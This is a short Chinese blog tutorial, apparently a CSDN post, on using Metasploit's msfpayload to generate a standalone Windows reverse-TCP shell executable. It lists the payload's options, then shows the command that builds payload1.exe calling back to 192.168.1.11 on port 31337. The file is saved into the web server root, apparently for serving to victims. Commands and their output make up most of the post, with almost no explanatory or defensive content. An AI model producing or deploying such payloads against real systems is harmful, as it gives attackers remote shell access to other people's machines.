metasploit的msfpayload创建可独立运行的二进制文件

root@bt:~# msfpayload windows/shell_reverse_tcp O

       Name: Windows Command Shell, Reverse TCP Inline
     Module: payload/windows/shell_reverse_tcp
    Version: 14774
   Platform: Windows
       Arch: x86
Needs Admin: No
 Total size: 314
       Rank: Normal

Provided by:
  vlad902 <vlad902@gmail.com>
  sf <stephen_fewer@harmonysecurity.com>

Basic options:
Name      Current Setting  Required  Description
----      ---------------  --------  -----------
EXITFUNC  process          yes       Exit technique: seh, thread, process, none
LHOST                      yes       The listen address
LPORT     4444             yes       The listen port

Description:
  Connect back to attacker and spawn a command shell


root@bt:~# 


输入的命令,不是数字0,而是字母O,大写的O。

上面的命令是显示攻击载荷生成器有哪些选项。


然后生成exe文件:


root@bt:~# msfpayload windows/shell_reverse_tcp LHOST=192.168.1.11 LPORT=31337 X > /var/www/payload1.exe
Created by msfpayload (http://www.metasploit.com).
Payload: windows/shell_reverse_tcp
 Length: 314
Options: {"LHOST"=>"192.168.1.11", "LPORT"=>"31337"}
root@bt:~# ll /var/www/
total 77
drwxr-xr-x  3 root root    60 2013-04-28 03:52 ./
drwxr-xr-x 20 root root   120 2011-06-08 09:16 ../
-rw-r--r--  1 root root   177 2011-05-10 03:45 index.html
-rw-r--r--  1 root root 73802 2013-04-28 03:52 payload1.exe
drwxr-xr-x  2 root root   465 2011-05-10 03:44 wstool/
root@bt:~# file /var/www/payload1.exe 
/var/www/payload1.exe: PE32 executable for MS Windows (GUI) Intel 80386 32-bit
root@bt:~# 


评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值